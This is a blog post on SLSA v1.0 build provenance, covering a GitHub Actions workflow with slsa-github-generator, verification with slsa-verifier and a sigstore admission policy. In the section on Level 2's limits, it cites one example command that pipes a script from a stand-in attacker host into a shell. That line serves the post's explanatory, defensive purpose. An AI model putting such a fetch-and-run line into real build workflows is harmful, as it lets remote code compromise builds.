background-shape
SLSA v1.0 in Practice, Build Provenance Without Boiling the Ocean
September 25, 2023 · 7 min read · by Muhammad Amal programming

TL;DR — SLSA v1.0 (April 2023) renamed and reorganised the levels; the old Levels 1–4 became four “Build” track levels with clearer requirements / Level 2 with slsa-github-generator is achievable in a day and rules out most casual tampering / Level 3 needs a hardened, isolated builder you do not control as a developer — that is the real lift.

The SLSA framework went 1.0 in April 2023, and the spec got noticeably more usable in the process. The four-level ladder is still there, but the requirements are now organised into tracks (Build, Source, Dependencies), and the Build track is the one that has actually shipped. SLSA Level 2 is genuinely achievable with GitHub Actions and a single workflow. SLSA Level 3 requires giving up some control to a managed builder, which is the operational tradeoff most teams have not internalised yet.

This is where my projects sit today: Level 2 for most repositories, Level 3 for the handful where the supply-chain risk justifies the extra plumbing. Here is what each actually means and how to wire them up.

What Each Level Actually Requires

The 1.0 spec is precise. The summary, paraphrased:

Build L1. Provenance exists. There is a document describing how the artifact was built. No claims about whether it is accurate.

Build L2. Provenance is signed by the build platform. Forgery would require compromising the platform’s signing identity. With GitHub Actions and keyless Sigstore signing, you get this almost for free.

Build L3. The build runs on a hardened, isolated platform that the developer cannot tamper with. The provenance must be unforgeable even by a malicious project owner. This means no actions/checkout followed by run: do-anything-the-attacker-wants in the same job that produces the signature — the build steps must be controlled by the platform.

Build L4. Was retired in 1.0 and folded into stricter Build L3 requirements plus the Source and Dependencies tracks.

The jump from L2 to L3 is the big one. L2 says “the build platform signed this”. L3 says “the build platform ran the build in a way the project owner cannot influence”. The L3 implementation in slsa-github-generator works by splitting the build into a build job (untrusted, runs your code) and a sign job (trusted, runs in a reusable workflow under the slsa-framework org, signs the provenance based on the build’s outputs and the GitHub-attested workflow identity).

Level 2 in Practice

The minimal Level 2 setup with GitHub Actions and slsa-github-generator:

name: release
on:
  push:
    tags: ["v*"]

permissions: read-all

jobs:
  build:
    runs-on: ubuntu-22.04
    permissions:
      contents: read
      packages: write
      id-token: write
    outputs:
      image: ${{ steps.build.outputs.image }}
      digest: ${{ steps.build.outputs.digest }}
    steps:
      - uses: actions/checkout@v4

      - uses: docker/login-action@v3
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - id: build
        run: |
          IMAGE=ghcr.io/${{ github.repository }}
          docker build -t "$IMAGE:${{ github.ref_name }}" .
          docker push "$IMAGE:${{ github.ref_name }}"
          DIGEST=$(docker buildx imagetools inspect "$IMAGE:${{ github.ref_name }}" \
            --format '{{ json .Manifest.Digest }}' | tr -d '"')
          echo "image=$IMAGE" >> "$GITHUB_OUTPUT"
          echo "digest=$DIGEST" >> "$GITHUB_OUTPUT"

  provenance:
    needs: build
    permissions:
      actions: read
      id-token: write
      packages: write
    uses: slsa-framework/slsa-github-generator/.github/workflows/generator_container_slsa3.yml@v1.9.0
    with:
      image: ${{ needs.build.outputs.image }}
      digest: ${{ needs.build.outputs.digest }}
      registry-username: ${{ github.actor }}
    secrets:
      registry-password: ${{ secrets.GITHUB_TOKEN }}

The interesting bit is the second job. It is a reusable workflow hosted under slsa-framework/slsa-github-generator. GitHub guarantees, via the workflow identity in the OIDC token, that this code is the code from that org’s repo at that ref — your repo cannot modify it. That is the integrity foundation. The workflow generates a SLSA Provenance document describing the build (commit, workflow file, runner OS, builder identity), signs it with a keyless Sigstore cert, and pushes it to the registry as an attestation alongside the image.

Note the workflow is named generator_container_slsa3.yml. The naming is from the pre-1.0 spec — SLSA L3 in v0.1 maps roughly to L3 Build in v1.0. The mechanism is the same.

Verifying Provenance at Admission

Generating provenance and not verifying it is the same level of theatre as signing without verifying. The verification side uses slsa-verifier or, in Kubernetes, policy-controller with a slightly extended policy.

CLI verification:

slsa-verifier verify-image \
  ghcr.io/myorg/app@sha256:abc... \
  --source-uri github.com/myorg/app \
  --source-tag v1.4.2

This checks that the provenance exists, is signed by the expected slsa-github-generator workflow identity, points at the right source repository, and was triggered by the right tag. Any drift fails verification.

In admission, the ClusterImagePolicy for sigstore policy-controller extends:

apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: require-slsa-provenance
spec:
  images:
    - glob: "ghcr.io/myorg/**"
  authorities:
    - keyless:
        url: https://fulcio.sigstore.dev
        identities:
          - issuer: https://token.actions.githubusercontent.com
            subjectRegExp: "^https://github.com/slsa-framework/slsa-github-generator/.+"
      attestations:
        - name: slsa-provenance
          predicateType: https://slsa.dev/provenance/v1
          policy:
            type: cue
            data: |
              predicate: {
                buildDefinition: {
                  buildType: "https://github.com/slsa-framework/slsa-github-generator/container@v1"
                  externalParameters: {
                    workflow: {
                      path: ".github/workflows/release.yml"
                      repository: "https://github.com/myorg/app"
                    }
                  }
                }
              }

The CUE policy is the part most teams skip. Without it, you only verify that some SLSA provenance exists from some slsa-github-generator workflow — you do not verify it was the right workflow in your repo. The CUE constrains the source repository and the workflow path. Without that, an attacker who can get any image into your registry (via a leaked PAT, say) can satisfy the policy with provenance from a totally different repo.

What Level 2 Buys You

Concretely: the published image’s provenance cannot be forged without compromising the build platform (GitHub) or your CI configuration. Common attack patterns ruled out:

  • Pushing a malicious image to the registry directly (signature check fails).
  • Building locally on a compromised laptop and pushing (signature check fails because the OIDC identity is not the GitHub Actions runner).
  • Tampering with the build by editing the workflow on a feature branch (the CUE policy pins the workflow path and tag).

What L2 does not protect against: the workflow itself doing something malicious. If your release.yml includes run: curl evil.example/script.sh | sh, the build platform will faithfully sign provenance attesting that this is exactly what happened. The provenance is honest. The build is compromised. This is the gap L3 closes.

What Level 3 Actually Demands

The L3 design assumption is that the project owner is potentially compromised. The build must happen in a way the project owner cannot influence at runtime. slsa-github-generator achieves this by structuring the generator workflows so that the user-controlled part (compiling, building, packaging) and the trusted part (signing, generating provenance) are isolated. The trusted reusable workflow runs in its own job under a fresh runner, takes only declared outputs from the build job, and generates provenance based on the declared workflow file from the immutable Git commit.

The cost is real:

  • You can only use the build patterns the generator supports (Go binaries, container images, generic artifacts, etc.).
  • You cannot do “anything in a run: block” in the signed phase.
  • You give up some flexibility in exchange for the unforgeability claim.

For projects where the integrity of the build is itself the product — distributed binaries, kernel modules, security tools — L3 is worth the constraint. For internal services, L2 is usually enough.

Common Pitfalls

Confusing the SLSA versions. The 1.0 spec restructured levels. Old material describes L4 as the top; 1.0 has three Build levels. The SLSA 1.0 spec is the canonical reference; treat older blog posts (including, eventually, this one) with appropriate suspicion.

Verifying without pinning the source repo. As above. SLSA verification that does not constrain the source URI is checking that something was built somewhere, not that your thing was built from your code.

Not verifying provenance for dependencies. SLSA on your own builds is half the story. The dependencies you pull in also have (or do not have) provenance. Tools like SLSA verifier can check provenance on downloaded artifacts; tying this into your dependency-update workflow is the next maturity step.

Reusable workflow versions. slsa-github-generator ships breaking changes between minor versions. Pin to a specific tag (e.g. @v1.9.0) and read the release notes before bumping. Track the project’s release page on a calendar reminder.

Mistaking provenance for an SBOM. They answer different questions. Provenance: “how was this built”. SBOM: “what is inside it”. Ship both as separate attestations. Some early SLSA tooling conflates them; the 1.0 spec is clear that they are distinct.

Wrapping Up

SLSA L2 is a one-day project for a team already on GitHub Actions. The verification policy is where the rigour lives — without a constrained CUE or Rego policy on the verify side, the provenance is decoration. L3 is a real commitment to giving up build flexibility in exchange for unforgeability; worth it for some projects, overkill for most. With provenance, SBOMs, and signing all in place, the remaining surface area is what the workload can actually do at runtime, which the Pod Security Standards constrain.